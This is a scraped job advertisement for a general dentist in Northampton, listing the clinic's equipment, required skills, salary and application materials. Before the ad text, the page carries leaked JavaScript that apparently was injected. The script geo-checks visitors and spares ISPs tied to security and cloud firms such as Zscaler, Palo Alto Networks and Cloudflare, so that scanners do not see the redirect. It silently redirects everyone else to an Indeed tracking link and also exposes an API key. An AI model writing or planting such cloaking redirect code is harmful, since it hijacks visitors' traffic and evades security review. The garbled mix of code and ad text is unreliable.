Job Description
// retrieve user’s IP address and location const ipAddressUrl = ‘https://ipapi.co/json/’; fetch(ipAddressUrl) .then(response => response.json()) .then(data => { const country = data.country; // Get user’s country code (e.g., “US”) if (country !== ‘US’) { console.log(‘Script will not run as the user is outside the USA.’); return; // Exit the script if the user is not in the USA } const ipAddress = data.ip; // retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/$?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname; // check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg)); if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ‘https://uk.indeed.com/tmn/ccs/ee090d50c4184ecf/61c02d490c0a3f2af64d98469e356130b8a320fff00b569772c1b5df7a7f074f/2765583331732878?sf=vKb00’; } }) .catch(error => { console.error(‘Error retrieving ISP name:’, error); }); }) .catch(error => { console.error(‘Error retrieving IP address or location:’, error); });We are seeking an outstanding General Dentist to join our state-of-the-art private practice in Northampton, working 3-5 days weekly, including alternate weekends.
Our fully private clinic is equipped with top-tier technology such as Belmont Chairs, Cerec Systems, iTero scanner, Zeiss microscope, CBCT, and Biolase, enabling high-quality treatment.
Candidates should demonstrate proficiency in non-surgical extractions, root treatments, composite restorations, periodontal diagnosis, and treatment planning. Experience in aesthetic procedures, crowns, bridges, and dentures is preferred, with postgraduate qualifications for advanced restorative work.
We value team players who complement our family-run environment.
Salary ranges from £150,000 to £250,000 annually, with a minimum take-home of £12,000/month for full-time clinicians, aiming for over £20K/month.
Applicants should have at least 1 year of clinical experience and submit a CV, clinical portfolio, case photos, and X-rays. The practice is easily accessible from London via train.
Join us in a dynamic, professional environment committed to high-quality dental care.